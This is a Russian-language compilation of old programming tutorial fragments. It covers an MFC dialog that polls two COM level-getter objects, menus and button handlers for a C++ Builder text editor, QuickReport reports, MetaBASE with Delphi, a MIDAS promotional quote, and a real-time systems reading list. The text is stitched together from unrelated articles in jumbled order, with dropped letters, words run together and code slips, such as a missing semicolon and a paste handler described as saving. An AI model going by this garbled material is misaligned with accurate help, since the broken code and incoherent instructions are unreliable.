  • //forward declaration so for our class member interface ILevelGetter; class CLevelViewerDlg : public CDialog { DECLARE_DYNAMIC(CLevelViewerDlg); friend class CLevelViewerDlgAutoProxy; public: CLevelViewerDlg(CWnd* pParent = NULL); // standard constructor virtual ~CLevelViewerDlg(); //{{AFX_DATA(CLevelViewerDlg) enum { IDD = IDD_LEVELVIEWER_DIALOG }; //}}AFX_DATA //{{AFX_VIRTUAL(CLevelViewerDlg) protected: virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support //}}AFX_VIRTUAL // Implementation protected: CLevelViewerDlgAutoProxy* m_pAutoProxy; HICON m_hIcon; BOOL CanExit(); //added by manually typing these into the class void ClearMembers(); void SetNewData(const CLSID& clsid, const IID& iid); ILevelGetter* m_pILevelGetter; CString m_sLastCalled; // Generated message map functions //{{AFX_MSG(CLevelViewerDlg) virtual BOOL OnInitDialog(); afx_msg void OnPaint(); afx_msg HCURSOR OnQueryDragIcon(); afx_msg void OnClose(); virtual void OnOK(); virtual void OnCancel(); //added by the Class Wizard afx_msg void OnFish(); afx_msg void OnGas(); afx_msg void OnDestroy(); afx_msg void OnTimer(UINT nIDEvent); //}}AFX_MSG DECLARE_MESSAGE_MAP() };
  • Далее изменим файл описания реализации (implementation file).
    В конструкторе класса проинициализируйте переменные членов класса как это показано ниже:

    //-------------------------------------------------------------- CLevelViewerDlg::CLevelViewerDlg(CWnd* pParent /*=NULL*/) : CDialog(CLevelViewerDlg::IDD, pParent) { //{{AFX_DATA_INIT(CLevelViewerDlg) //}}AFX_DATA_INIT m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME); m_pAutoProxy = NULL; m_pILevelGetter = NULL; m_sLastCalled = _T("CheckedGas"); } Реализация метода ClearMembers приводится далее. Эта функция очищает элементы управления диалога (dialog controls). (Отметим, что мы использовали бы Dialog Data exchange для членов класса.)

    //-------------------------------------------------------------------- void CLevelViewerDlg::ClearMembers() { CWnd* pWnd = GetDlgItem(IDC_TANK_TYPE); if(pWnd != NULL) pWnd->SetWindowText(""); pWnd = GetDlgItem(IDC_LOWEST_SAFE); if(pWnd != NULL) pWnd->SetWindowText(""); pWnd = GetDlgItem(IDC_HIGHEST_SAFE); if(pWnd != NULL) pWnd->SetWindowText(""); pWnd = GetDlgItem(IDC_CURRENT); if(pWnd != NULL) pWnd->SetWindowText(""); pWnd = GetDlgItem(IDC_MESSAGE); if(pWnd != NULL) pWnd->SetWindowText(""); } OnDestroy, показанный ниже, используется для очистки при закрытии диалога.

    //-------------------------------------------------------------------- void CLevelViewerDlg::OnDestroy() { CDialog::OnDestroy(); KillTimer(1); } Данный класс использует OnTimer для вызова методов кнопок OnFish и OnGas так, что пользователю не требуется нажимать кнопки для обновления данных.

    //-------------------------------------------------------------------- void CLevelViewerDlg::OnTimer(UINT nIDEvent) { if(m_sLastCalled == _T("CheckedFish")) OnGas(); else OnFish(); }
  • Замечание: В реальной жизни предпочтительнее использовать технологию с нажатием кнопок и интерфейс IConnectionPoint. Законченный пример такой реализации вы найдете на http://www.microsoft.com/workshop/prog/com/overview-f.htm.
  • Виртуальная функция OnInitDialog используется в основном для запуска таймера, хотя она также возвращает данные из GasTankLevelGetter COM DLL.


    //-------------------------------------------------------------------- BOOL CLevelViewerDlg::OnInitDialog() { CDialog::OnInitDialog(); SetIcon(m_hIcon, TRUE); // Set big icon SetIcon(m_hIcon, FALSE); // Set small icon OnGas(); //obtain data SetTimer(1, 4000, NULL); //set timer for 4 seconds return TRUE; // return TRUE unless you set the focus to a control } Теперь мы готовы описать реализацию наших методов кнопок OnFish и OnGas, которые вызываются попеременно каждые 4 секунды. Обе эти функции идентичны на процедурном уровне; они передают CLSID и IID в SetNewData. Единственная разница состоит в том, что CLSID и IID, передаваемые методом OnGas, используются в GasTankLevelGetter, а CLSID и IID передаваемые методом OnFish, - в FishTankLevelGetter.

    OnGas возвращает CLSID, взятый из строки GUID, которая имеется в данных coclass TypeLib. Таким же образом возвращается IID и, кроме того, он отображается в OLE/COM Object Viewer. Как только получены GUID, вызывается SetNewData.

    //-------------------------------------------------------------------- void CLevelViewerDlg::OnGas() { m_sLastCalled = _T("CheckedGas"); CLSID clsid; IID iid; HRESULT hRes; hRes = AfxGetClassIDFromString( "{8A544DC6-F531-11D0-A980-0020182A7050}", &clsid); if(SUCCEEDED(hRes)) { hRes = AfxGetClassIDFromString( "{8A544DC5-F531-11D0-A980-0020182A7050}", &iid); if(SUCCEEDED(hRes)) SetNewData(clsid, iid); } } Метод SetNewData, показанный ниже, создает instance в GasTankLevelGetter COM объекте или FishTankLevelGetter COM объекте в зависимости от CLSID. После этого SetNewData вызывает методы интерфейса ILevelGetter для получения данных.

    //-------------------------------------------------------------------- void CLevelViewerDlg::SetNewData(const CLSID& clsid, const IID& iid) { ClearMembers(); ASSERT(m_pILevelGetter == NULL); HRESULT hRes = CoCreateInstance(clsid, NULL, CLSCTX_ALL, iid, (void**)&m_pILevelGetter); if(!SUCCEEDED(hRes)) { m_pILevelGetter = NULL; return; } long lLowestSafeLevel, lHighestSafeLevel, lCurrentLevel; BSTR bstrMessage = NULL; m_pILevelGetter->GetLowestPossibleSafeLevel(&lLowestSafeLevel); m_pILevelGetter->GetHighestPossibleSafeLevel(&lHighestSafeLevel); m_pILevelGetter->GetCurrentLevel(&lCurrentLevel); m_pILevelGetter->GetTextMessage(&bstrMessage); m_pILevelGetter->Release(); m_pILevelGetter = NULL; CString sLowest, sHighest, sCurrent, sMessage; sLowest.Format("%d",lLowestSafeLevel); sHighest.Format("%d",lHighestSafeLevel); sCurrent.Format("%d",lCurrentLevel); sMessage = bstrMessage; ::SysFreeString(bstrMessage); CString sItem; if(m_sLastCalled == _T("CheckedFish")) { //we are checking the fish tank now sItem = _T("Fish Tank"); } else //m_sLastCalled == _T("CheckedGas") { //we are checking the fish tank now sItem = _T("Gas Tank"); } CWnd* pWnd = GetDlgItem(IDC_TANK_TYPE); if(pWnd != NULL) pWnd->SetWindowText(sItem); pWnd = GetDlgItem(IDC_LOWEST_SAFE); if(pWnd != NULL) pWnd->SetWindowText(sLowest); pWnd = GetDlgItem(IDC_HIGHEST_SAFE); if(pWnd != NULL) pWnd->SetWindowText(sHighest); pWnd = GetDlgItem(IDC_CURRENT); if(pWnd != NULL) pWnd->SetWindowText(sCurrent); pWnd = GetDlgItem(IDC_MESSAGE); if(pWnd != NULL) pWnd->SetWindowText(sMessage); } Поскольку интерфейсы одинаковы, мы уверены, что методы будут работать с обоими COM объектами.


    Последние два шага должны реализовать OnFish и включить определение интерфейса.

    //-------------------------------------------------------------------- void CLevelViewerDlg::OnFish() { m_sLastCalled = _T("CheckedFish"); CLSID clsid; IID iid; HRESULT hRes = AfxGetClassIDFromString( "{7F0DFAA3-F56D-11D0-A980-0020182A7050}", &clsid); if(SUCCEEDED(hRes)) hRes = AfxGetClassIDFromString( "{7F0DFAA2-F56D-11D0-A980-0020182A7050}", &iid); if(SUCCEEDED(hRes)) SetNewData(clsid, iid); } Определение интерфейса, созданное чисто виртуальными членами класса, включается в верхнюю часть файла описания реализации ( хотя его можно поместить в описание класса или отдельный .h файл), так что член класса m_pILevelGetter типа ILevelGetter* "знает" свои методы. Определение интерфейса представлено ниже:

    //------------------------------------------------------------------ interface ILevelGetter : public IUnknown { public: virtual HRESULT STDMETHODCALLTYPE GetLowestPossibleSafeLevel(long* plLowestSafeLevel) = 0; virtual HRESULT STDMETHODCALLTYPE GetHighestPossibleSafeLevel(long* plLowestSafeLevel) = 0; virtual HRESULT STDMETHODCALLTYPE GetCurrentLevel(long* plLowestSafeLevel) = 0; virtual HRESULT STDMETHODCALLTYPE GetTextMessage(BSTR* pbstrMessage) = 0; }; Теперь мы готовы откомпилировать, слинковать и запустить приложение. Если вы запустили приложение, вы можете щелкнуть по какой-либо кнопке, чтобы переключить COM компоненты, или позволить таймеру переключать их автоматически каждые четыре секунды. И только теперь Ричи Рич сможет спокойно лететь на своем вертолете и следить за уровнем воды в своем аквариуме.

    Создание меню

    Итак, создадим меню для нашего редактора. Для этой цели поместим на главную фо му приложения компонент TMainMenu со страницы Standard. Нажав правую клавишу мыши, из контекстного меню выберем пункт Menu Designer. Перемещаясь с помощью стрелок клавиатуры, создадим новые компоненты - пункты меню верхнего и последующего уровней, вводя текстовые строки в колонку значений напротив свойства Caption. Создадим следующие меню: "&Файл" (с пунктами "Созд&ать", "&Открыть...", "&Сохранить", "Сохранить &как...", '"-","В&ыход"), "&Вид" (с пунктом "&Инструментальная панель"), "&Редактирование" (с пунктами "&Вырезать" "&Копировать", "Вс&тавить") и "&?" с пунктом "&О программе". Если в свойстве Caption какого-либо пункта меню стоит знак "-", в этом месте появится горизонтальная разделительная линия. Значок "&" нужен для связывания с пунктом меню так называемых "горячих" клавиш. Если перед какой-либо буквой в названии пункта меню стоит такой значок, то при отображении меню эта буква оказывается подчеркнутой, и нажатие на соответствующую уквенную клавишу при нажатой клавише Alt приведет к активизации соответствующего пункта меню. Разумеется, в одном меню все "горячие" клавиши должны быть разными, хотя C++ Builder этого не проверяет. Помимо этого, для работы с меню с помощью клавиатуры используются клавиши быстрого доступа. Подходящую комбинацию клавиш можно выбрать, установив значение свойства ShortCut. Создание меню Рис. 14. Создание меню с помощью Menu Designer. Теперь в инспекторе объектов выберем страницу событий и свяжем уже созданные функции SpeedButton1Click, ... SpeedButton9Click с соответствующими пунктами меню, выбрав названия функций из выпадающего списка. У нас остались неиспользованными пункт меню "Панель инструментов". Присвоим свойству Checked этого пункта меню значение true.
    Создадим для пункта меню " Панель инструментов" следующий обработчик события OnClick: void __fastcall TForm1::N9Click(TObject *Sender) { N9->Checked=!N9->Checked; Panel1->Visible=N9->Checked; } Наконец, создадим контекстные меню для различных элементов главной формы при ожения. Для этого положим на форму два компонента TPopupMenu - один с пунктами "Вырезать", "Копировать", "Вставить", а второй - с пунктом "Скрыть". Выберем подходящие обработчики события OnClick из имеющихся функций для этих пунктов меню. И, наконец, для компонентов Memo1 и Panel1 выберем из выпадающего списка соответствующие имена контекстных меню. Итак, мы создали текстовый редактор с панелью инструментов, главным и контекстным меню и диалоговой панелью "О программе". Окончательный вид работающего приложения представлен на рис. 15. Создание меню Рис. 15. Так выглядит готовое приложение. В заключение отметим, что можно несколько облегчить свою работу, воспользовавшись шаблоном Аpplication Wizard со страницы Projects репозитория объектов. Однако в любом случае необходим перевод меню на русский язык и создание интерфейсных элементов для редактирования данных (в нашем случае это один компонент TMemo), а также создание обработчиков событий, связанных с этими интерфейсными элементами. В следующих статьях этого цикла будут рассмотрены возможности доступа к базам данных в приложениях C++ Builder. Координаты автора: Центр Информационных Технологий,
    тел. (095)932-92-12, 932-92-13,

    Создание многозвенных приложений с помощью MIDAS

    С помощью Delphi 3 Client/Server Suite и Borland MIDAS Suite корпорации могут повысить производительность современных клиент-серверных информационных систем путем централизации бизнес-правил и правил доступа к данным в среднем звене - сервере приложений, базирующемся на Windows NT. MIDAS предоставляет набор брокеров middleware, оптимизирующих производительность сети, а также архитектуру с "тонким" клиентом, упрощающую функционирование, настройку и поставку приложений. MIDAS также обратно совместим с Borland Entera - многоплатформенным интеллектуальным middleware для широкомасштабных, высокопроизводительных гетерогенных систем масштаба предприятия. "Разработка, поддержка, поставка распределенных приложений была значительной проблемой для компьютерной индустрии", - заявил Луис Клейман (Louis Kleiman), менеджер Financial Dynamics, консалтингового и учебного центра для разработчиков в Вашингтоне. - "MIDAS и Delphi 3 Client/Server Suite удовлетворяют потребностям наших клиентов с точки зрения легкой разработки, конфигурации и доступа к существующим системам."

    Создание обработчиков событий

    Теперь напишем обработчики событий OnClick для наших кнопок. Кнопка SpeedButton3 отвечает за открытие файла для редактирования и отображение имени файла на панели состояния: void __fastcall TForm1::SpeedButton3Click(TObject *Sender) { if (OpenDialog1->Execute()) Memo1->Lines->LoadFromFile(OpenDialog1->FileName); StatusBar1->Panels->Items[0]->Text=OpenDialog1->FileName; } Кнопка SpeedButton5 отвечает за сохранение редактируемого файла под выбранным именем и отображение имени файла на панели состояния. void __fastcall TForm1::SpeedButton5Click(TObject *Sender) { if (SaveDialog1->Execute()) Memo1->Lines->SaveToFile(SaveDialog1->FileName); StatusBar1->Panels->Items[0]->Text=SaveDialog1->FileName; } Кнопка SpeedButton2 отвечает за очистку окна редактирования. Однако в случае, когда в редакти уемом буфере содержится набранный текст, следует спросить пользователя, желает ли он сохранить текст. Для этой цели не имеет смысла создавать отдельную форму, содержащую всего-навсего текст вопроса и две кнопки. Более удобно воспользоваться функцией Windows API MessageBox,имеющей четыре параметра: Параметр Объяснение
    hWnd Идентификатор окна-владельца (число, может быть равным 0)
    lpText Текст сообщения (символьная строка)
    lpCaption Заголовок панели сообщения (символьная строка)
    uType Стиль панели сообщения (целая именованная константа, например, MB_OK, MB_ABORTRETRYIGNORE и др.) - полный список стилей можно найти в справочной системе Borland C++ Builder
    Возвращаемое значение функции MessageBox - целая именованная константа, указ вающая на тип нажатой пользователем кнопки: IDABORT, IDCANCEL, IDIGNORE, IDNO, IDOK, IDRETRY или IDYES. В нашем случае удобно предложить пользователю выбрать о ну из кнопок "Да" или "Нет" и сохранять набранный текст в виде файла, если пользователь нажмет кнопку "Да" (что именно окажется написанным на кнопке - "Да" и и "Yes" - зависит от языковой версии операционной системы). Для сохранения набранного текста можно использовать готовую функцию SpeedButton5Click.
    В соответствии с этим обработчик события при нажатии на кнопку SpeedButton2 будет выглядеть следующим образом: void __fastcall TForm1::SpeedButton2Click(TObject *Sender) { if (Memo1->Lines->Count>0) { if (MessageBox(0,"Сохранить содержимое окна редактирования? ", "Подтвердите сохранение",MB_YESNO)==IDYES) { SpeedButton5Click(Sender) } }; Memo1->Clear(); StatusBar1->Panels->Items[0]->Text="Без имени"; } Кнопка SpeedButton1 закрывает окно приложения. В этом случае нужно также предложить пользователю сохранить набранный текст, воспользовавшись только что созданной функцией SpeedButton2Click: void __fastcall TForm1::SpeedButton1Click(TObject *Sender) { SpeedButton2Click(Sender); Close(); } Кнопка SpeedButton4 отвечает за сохранение редактируемого файла: void __fastcall TForm1::SpeedButton4Click(TObject *Sender) { if (StatusBar1->Panels->Items[0]->Text=="Без имени") SpeedButton5Click(Sender); else Memo1->Lines->SaveToFile(StatusBar1->Panels->Items[0]->Text) } Здесь требуются некоторые пояснения. Если пользователь открыл существующий фай или уже сохранил редактируемый файл под каким-либо именем, оно указано на панели состояния (StatusBar1), и открытие диалога для выбора имени файла уже не требуется. Если же имя файла не определено (пользователь только что создал новый файл), следует вызвать диалог сохранения файла, воспользовавшись функцией SpeedButton5Click. Кнопки SpeedButton6 и SpeedButton7 отвечают за перенос и копирование выделенного в окне редактирования фрагмента текста в буфер обмена. void __fastcall TForm1::SpeedButton6Click(TObject *Sender) { Memo1->CutToClipboard(); } //-------------------------------------------------------- void __fastcall TForm1::SpeedButton7Click(TObject *Sender) { Memo1->CopyToClipboard(); } Кнопка SpeedButton8 отвечает за сохранение редактируемого файла: void __fastcall TForm1::SpeedButton8Click(TObject *Sender) { Memo1->PasteFromClipboard(); } Кнопка SpeedButton9 отвечает за вывод на экран диалоговой панели "О программе".


    Наличие подобной иалоговой панели является стандартом для современных приложений. Для разнообразия воспользуемся готовым шаблоном панели About из репозитория объектов C++ Builder. Выберем пункт меню File/New и со страницы Forms блокнота, содержащегося в диалоговой панели New Items, выберем шаблон AboutBox с опцией Copy. Отредактируем полученную форму: Создание обработчиков событий Рис. 12. Вид диалоговой панели About. Теперь наше приложение состоит из двух форм. Главной формой приложения является созданная первой форма Form1. По умолчанию при запуске приложения обе формы создаются автоматически, и главная форма будет показана на экране. Однако отметим, что создание формы, в том числе и не отображенной на экране, отбирает у операционной системы некоторые ресурсы. Может быть, это несущественно для небольшого приложения, но в общем случае рекомендуется формы, обращение к которым происходит редко, создавать динамически и уничтожать после использования. Для этого следует вызвать диалоговую панель опций проекта (пункт меню Options/Project) и перенести AboutBox в список Available Forms (рис. 13 ) Создание обработчиков событий Рис. 13. Изменение опций проекта. Обработчик события при нажатии на кнопку SpeedButton9 будет выглядеть следующим образом: void __fastcall TForm1::SpeedButton9Click(TObject *Sender) { Application->CreateForm(__classid(TAboutBox), &AboutBox); AboutBox->ShowModal(); AboutBox->Free(); } Первый оператор этого обработчика событий создает экземпляр формы AboutBox. Второй оператор отображает его как модальную диалоговую панель (диалог, который не позволит обратиться к другим формам приложения, если его не закрыть). Если забыть удалить ставшую ненужной форму (для этого и нужен последний опе атор в функции SpeedButton9Click), то каждый вызов этой функции будет приводить к созданию в оперативной памяти копии AboutBox, пока не исчерпаются ресурсы. Можно скомпилировать приложение и проверить его работу, проверив, что происхо ит при нажатии на кнопки. Однако готовым его назвать нельзя хотя бы по той причине, что оно практически не управляется с клавиатуры (а полноценное Windows-приложение обязано быть работоспособным без использования мыши - это не то ько правило хорошего тона при программировании, но и требование стандарта Microsoft).Дело в том, что компонент TSpeedButton не может получить фокус ввода (это его особенность). Поэтому кнопки инструме тальных панелей всегда дублируют пункты главного меню приложения.

    Создание отчетов "master-detail"

    Преобразуем созданный отчет в отчет "master-detail". Для этогоследует добавить компонент TTable, установить его свойство DatabaseNameравным BCDEMOS, свойство TableName равным ORDERS.DB, а затем установитьсвойство Active равным true. После этого установим свойство MasterSourceравным DataSource1. Затем выберем свойство MasterFields, вызвав диалоговуюпанель для установки связи master/detail (рис. 4 ) и из списка доступныхиндексов выберем CustNo. Затем выделим имя поля CustNo в обоих спискахполей и нажмем кнопку Add, а кнопку OK. Создание отчетов Рис. 4. Установка связи master/detail Добавим на форму компонент TDataSource, установив его свойство DataSetравным Table2 . Затем добавим к форме новый компонент TQRBand (c именемQRBand6). После этого добавим компонент TQRDetailLink, предназначенныйдля установки связей между источниками данных в отчетах, и установим егосвойство DataSource равным DataSource2. Затем установим его свойство Masterравным QuickReport, а свойство DetailBand равным QRBand6. Свойство BandTypeкомпонента QRBand6 автоматически примет значение rbSubDetail. Наконец, поместим два компонента TQRDBText на QRBand6, установим ихсвойства DataSource равными DataSource2, а свойства DataField равными OrderNoи AmountPaid. Слева от них поместим два компонента TQRLabel с названиямиэтих полей (рис. 5). Создание отчетов Рис. 5. Форма отчета "master-detail". Выберем опцию Preview Report из контекстного меню компонента QuickReportдля предварительного просмотра отчета (рис.6). Создание отчетов Рис. 6. Отчет "master-detail". Отметим, что если компонент QuickReport не связан с компонентом DataSource,то при печати отчета выводится только одна запись из набора данных, чтолегко позволяет печатать текущую запись.

    Создание приложений с помощью MetaBASE

    Разработка информационных систем с помощью MetaBASE отличается от традиционной разработки главным образом почти полным отсутствием написания кода в случаях, когда, казалось бы, это необходимо. Чтобы убедиться в этом, рассмотрим небольшой пример, основанный на использовании части модели данных и части самих данных из реально выполнявшегося проекта, включающего в качестве одной из задач хранение и обновление списка предприятий одной из отраслей промышленности. Первым этапом создания информационной системы является анализ предметной области, проектирование на его основе логической схемы будущей базы данных (определение сущностей, атрибутов и связей), создание соответствующей физической схемы и, наконец, генерация объектов базы данных (таблиц, сущностей, атрибутов). Для этой цели используется ERwin (в нашем случае версии 2.6 beta). Центральная сущность Objects1 связана с другими сущностями посредством внешних ключей. Структура модели данных выглядит следующим образом (рис.2): Соответствующая физическая структура была сгенерирована на сервере Oracle Workgroup Server 7.2 for Windows NT, и в таблицы был занесен тестовый набор данных. Так как приложение должно иметь доступ к модели данных во время выполнения, следующим шагом является перенос метаданных в словарь данных MetaBASE (рис.3) и создание соответствующих BDE-алиасов (псевдонимов), при этом имя проекта в утилите MetaGen и имя соответствующего алиаса должны совпадать. Для простоты будем хранить словарь данных и саму базу данных под одними тем же псевдонимом. Далее выбираем нужный нам файл ER-диаграммы формата .erx, выбираем BDE-алиас для хранения словаря данных и осуществляем перенос метаданных в созданный словарь данных. После переноса метаданных можно отредактировать их с помощью MetaBASE Editor (рис.1). Теперь можно приступить к созданию клиентского приложения. Для этого нужно создать в Delphi новый проект и поместить на пустую форму компонент MetaBaseGS (именно он отвечает за бизнес-правила и связь с метаданными) со страницы MetaBASE палитры компонент. Далее нужно присвоить свойству DataBaseName в инспекторе объектов Delphi имя соответствующего BDE-алиаса (в нашем случае NUCLEAR), а свойству Connected значение 'true'.
    С этого момента среде разработки станут доступны метаданные, перенесенные ранее на сервер.После двойного щелчка мышью на этом компоненте появится окно MetaBASE Editor (рис.5). Для начала создадим броузер для просмотра и редактирования списка предприятий. Для этой цели нажмем в окне MetaBASE Editor кнопки и , что соответствует использованию по умолчанию компонентов TableGS и DBGridGS Возьмем объект OBJECTS1 и переместим его на нашу форму . На форме появится сетка, отображающая данные из этой таблицы, а также все MetaBASE-компоненты, необходимые для ее функционирования, например, компонент DataSourceGS и компонент TableGS . (рис.6) После компиляции проекта можно исследовать функционирование полученного приложения. Следует обратить внимание на то, что все поля, имеющие связи с помощью внешнего ключа, отображаются в виде так называемых полей помощи (assist field в терминологии авторов продукта). При нажатии на кнопку с многоточием появляется вспомогательная таблица (assist table), связанная с исходной по данному полю (рис.7). Следует отметить, что при разработке приложения можно влиять на внешний вид и состав вспомогательной таблицы. При необходимости отсортировать таблицу в порядке возрастания или убывания какого-либо атрибута достаточно выбрать раздел Indexes в MetaBASE Editor, выбрать атрибут для сортировки и перенести его на существующую сетку формы (рис.8). Чтобы помещать поля редактирования на форму, достаточно перенести на форму нужные атрибуты. При этом на форму автоматически будут перенесены метки и единицы измерения величин. Для управления данными в таблице полезно поместитьна форму компонент DBNavigatorGS и установить свойство DataSource этого компонента равным .dsOBJECTS1. Затем можно скомпилировать приложение (рис.9): Следует отметить, что редактировать данные можно и в таблице, и в полях редактирования, при этом для полей, по которым осуществляется связь с другими таблицами, можно активизировать соответствующие вспомогательные таблицы, а при изменении модели данных изменится и вид таблицы (при этом перекомпилировать приложение не требуется) Теперь добавим в наше приложение возможности поиска.


    С этой целью добавим компонент IdxControllerGS на форму и установим свойство DataSource для этого компонента равным равным .dsOBJECTS1. Скомпилируем приложение (рис.10): При нажатии кнопки поиска появляется диалог поиска, похожий на показанный ниже При этом можно использовать вспомогательные таблицы для облегчения процесса поиска (рис.11). Теперь попробуем отобразить в приложении связь (master-detail). Для этого нужно из MetaBASE Editor выбрать сущность DEVICE и переместить ее на форму. Для установления связи между таблицами DEVICE и OBJECTS1 возьмем отношение OBJECTS1 сущности DEVICE и поместим его на таблицу OBJECTS1. В этом случае таблица DEVICE будет являться master-таблицей, а OBJECTS1 - detail-таблицей. Далее следует выбрать нужные строки в появившемся диалоге (рис.12): После компиляции можно убедиться, что таблица OBJECTS1 связана с таблицей DEVICE (рис.13): Теперь создадим проект, основанный на запросах (что более удобно в случае большого объема данных). Для этой цели создадим новый проект и поместим на пустую форму компонент MetaBaseGS. Далее переключим кнопки в окне MetaBASE Editor, выбрав кнопку и кнопку , что соответствует использованию по умолчанию компонента QueryGS Далее переносим на форму сущность OBJECTS1 и, как и в предыдущем проекте, получаем в результате броузер с данными из этой таблицы. После этого добавим на форму компонент QbeControllerGS (рис.14). После компиляции проекта получим броузер для таблицы OBJECTS1 (рис.15). При нажатии на кнопку, в виде которой отображается QbeControllerGS, можно осуществить запрос по образцу с использованием вспомогательных таблиц и выпадающих меню для знаков операций отношения: (рис.16) Отметим, что мы не написали ни одной строки кода, создавая эти приложения, и при этом могли в процессе разработки постоянно модифицировать модель данных, синхронизируя ее с ER-диаграммой.

    Создание приложений в С++ Builder

    Первым шагом в разработке приложения C++ Builder является создание проекта. Файлы проекта содержат сгенерированный автоматически исходный текст, который становится частью приложения, когда оно скомпилировано и подготовлено к выполнению. Чтобы создать новый проект, нужно выбрать пункт меню File/New Application. C++ Builder создает файл проекта с именем по умолчанию Project1.cpp, а также make-файл с именем по умолчанию Project1.mak. При внесении изменений в проект, таких, как добавление новой формы, C++ Builder обновляет файл проекта. Создание приложений в С++ Builder Рис.7 Файл проекта Проект или приложение обычно имеют несколько форм. Добавление формы к проекту создает следующие дополнительные файлы:
  • Файл формы с расширением.DFM, содержащий информацию о ресурсах окон для конструирования формы
  • Файл модуля с расширением.CPP, содержащий код на C++.
  • Заголовочный файл с расширением .H, содержащий описание класса формы. Когда вы добавляете новую форму, файл проекта автоматически обновляется. Для того чтобы добавить одну или более форм к проекту , выберите пункт меню File/New Form. Появится пустая форма, которая будет добавлена к проекту. Можно воспользоваться пунктом меню File/New, выбрать страницу Forms и выбрать подходящий шаблон из репозитория объектов. Создание приложений в С++ Builder Рис.8 Шаблоны форм Для того, чтобы просто откомпилировать текущий проект, из меню Compile нужно выбрать пункт меню Compile. Для того, чтобы откомпилировать проект и создать исполняемый файл для текущего проекта, из меню Run нужно выбрать пункт меню Run. Компоновка проекта является инкрементной (перекомпилируются только изменившиеся модули). Если при выполнении приложения возникает ошибка времени выполнения, C++ Builder делает паузу в выполнении программы и показывает редактор кода с курсором, установленным на операторе, являющемся источником ошибки. Прежде чем делать необходимую коррекцию, следует перезапустить приложение, выбирая пункт меню Run из контекстного меню или из меню Run, закрыть приложение и лишь затем вносить изменения в проект. В этом случае уменьшится вероятность потери ресурсов Windows.

    Создание простого отчета

    Отчеты QuickReport основаны на наборе горизонтальных полос (bands).При построении отчета на форму помещаются несколько компонентов QRBand(наследник TPanel) различных типов. Для создания простейшего отчета разместим на форме следующие компоненты(рис. 1):
  • TQRBand - компонент, представляющий собой часть отчета - контейнердля размещения данных (например, заголовок отчета, верхний или нижний колонтитулстраницы, верхний или нижний колонтитул группы и др.). Компоненты TQRBandпечатаются в зависимости от их типа в необходимых местах отчета, независимоот их взаимного расположения на форме. Наиболее часто используемое свойствоэтого компонента – BandType, тип "полосы" (колонтитул страницыили группы, "полоса" данных и др.). Возможные значения: rbTitle– заголовок отчета, rbPageHeader – верхний колонтитул страницы, rbColumnHeader– верхний колонтитул колонки в многоколоночном отчете, rbDetail – полосас табличными данными (повторяется столько раз, сколько строк имеется внаборе данных, авляющемся основой отчета), rbPageFooter – нижний колонтитулстраницы, rbOverlay – фон страницы, печатается в левом верхнем углу каждойстраницы, rbGroupHeader – заголовок группы, rbSubDetail – "полоса"табличных данных для Detail-таблицы, rbGroupFooter – нижний колонтитулгруппы, rbSummary – печатается в конце отчета). Свойству BandType созданногонами компонента присвоим значение rbTitle
  • TQuickReport (этот компонент отвечает за превращение формы в отчет).
  • TQRLabel, помещенный на QRBand1 (этот компонент предназначен для выводастатического текста, и его свойству Caption можно присвоить значение, равноетексту заголовка будущего отчета). Создание простого отчета  Рис. 1. Создание заголовка отчета Если нажать правую клавишу мыши над компонентом QuickReport1 и выбратьиз контекстного меню опцию Preview Report, появится окно просмотра, в которомбудет отображена страница отчета с созданным заголовком. Для модификации отчета следует изменить свойство BandType компонентаQRBand1 на rbDetail и добавить на форму компонент TTable.
    Далее нужно установитьего свойство DataBase равным имени псевдонима, например, BCDEMOS, свойствоTableName равным имени таблицы, например, CUSTOMER.DB, а затем свойствоActive равным true. После этого нужно добавить на форму компонент TDataSourceи установить его свойство DataSet равным имени добавленного ранее компонентаTable1, а затем установить свойство DataSource компонента QuickReport равнымимени созданного компонента DataSource1. После этого можно добавить компонентTQRDBText на QRBand1(этот компонент предназначен для вывода содержимогополей таблицы или запроса, служащего источником данных проектируемого отчета),установить свойство DataSource равным имени созданного ранее компонентаDataSource1 и выбрать нужное поле в качестве значения свойства DataField.Если есть необходимость, можно добавить другие компоненты TQRDBText и выбратьдругие поля таблицы для отображения в отчете (рис. 2). Создание простого отчета Рис. 2. Модификация табличного отчета Если теперь из контекстного меню компонента QuickReport выбрать опциюPreview Report, можно увидеть модифицированный табличный отчет. Теперь попробуем создать отчет с заголовком отчета и колонтитулами.Для этого нужно использовать при создании отчета несколько различных компонентовTQRBand. Для создания отчета с заголовком и колонтитулами следует cоздать новуюформу, разместить четыре компонента TQRBand на форме (они получат по умолчаниюимена QRBand2,...., QRBand5) и установить их свойства BandType равнымисоответственно rbTitle, rbColumnHeading, rbDetail и rbPageFooter. Далееследует добавить на форму компонент TTable и установить его свойство DatabaseNameравным BCDEMOS, свойство TableName равным Customer, а затем свойство Activeравным true. Затем нужно добавить на форму компонент TDataSource и установитьв его свойстве DataSet имя добавленного ранее компонента Table1 и установитьсвойство DataSource компонента QuickReport равным имени созданного компонентаDataSource1. Затем следует добавить несколько компонентов TQRLabel в качествезаголовка отчета и столбцов поверх соответствующих компонентов TQRBand,присвоив необходимые значения свойству Caption каждого из них. Затем следует разместить три компонента QRDBText на компонент QRBandсо свойством BandType, равным DetailBand и установить их свойства DataSourceравными DataSource1, а свойства DataField равными Company, Phone и Fax.Наконец, для отображения номера страницы нужно поместить компонент TQRSysData(этот компонент предназначен для вывода сведений, не зависящих от содержимогоданных, таких как номер страницы, дата, время и др.) на компонент TQRBandсо свойством BandType, равным rbPageFooter и установить его свойство Dataравным qrcPageNumber, а свойство Text равным “Стр.“ После этого форма будет выглядеть, как на рис. 3. Можно снова выбрать опцию Preview Report и просмотреть содержание новогоотчета. Создание простого отчета Рис.3. Отчет с заголовком и колонтитулами

    Список литературы

  • C.D.Locke, "Fundamentals of Real-Time", Lockhead Martin, 1998
  • "Realtime CORBA", White Paper -Issue 1.0, 1996/Dec
  • "It's all a question of time...", Real-time magazine, 1997/4th Quarter
  • R.O'Farrel, "Choosing a cross-debugging methodology", Embedded systems programming, 1997/Aug
  • K.Clohessy, "Using object-oriented programming tools to build real-time embedded systems", Real-time engineering, 1996/Fall
  • V.Encontre, "How to use modeling to implement verifiable, scalable, and efficient real-time application programs", Real-time engineering, 1997/Fall
  • N.Osawa, H.Morita, T.Yuba, "Animation for perfomance debugging of parallel computing systems", ACM, 1997
  • S.K.Damodaran-Kamal, J.M.Francioni, "Nondeterminacy: testing and debugging in message passing parallel programs", ACM, 1993
